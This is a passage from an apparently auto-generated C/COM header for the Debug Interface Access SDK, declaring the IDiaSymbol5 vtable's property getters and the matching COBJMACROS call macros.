       \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol5 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol5 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol5Vtbl;\n\n    interface IDiaSymbol5\n    {\n        CONST_VTBL struct IDiaSymbol5Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol5_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol5_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol5_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol5_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol5_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol5_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol5_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol5_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol5_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol5_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol5_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol5_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol5_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol5_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol5_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol5_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol5_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol5_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol5_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol5_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol5_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol5_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol5_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol5_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol5_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol5_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol5_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol5_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol5_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol5_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol5_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol5_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol5_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol5_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol5_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol5_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol5_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol5_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol5_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol5_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol5_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol5_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol5_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol5_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol5_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol5_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol5_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol5_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol5_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol5_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol5_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol5_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol5_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol5_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol5_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol5_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol5_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol5_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol5_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol5_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol5_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol5_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol5_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol5_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol5_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol5_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol5_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol5_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol5_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol5_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol5_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol5_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol5_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol5_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol5_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol5_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol5_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol5_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol5_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol5_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol5_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol5_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol5_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol5_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol5_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol5_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol5_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol5_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol5_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol5_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol5_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol5_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol5_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol5_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol5_get_baseDataOffset(This,pRetVal)\t\\\n    ( 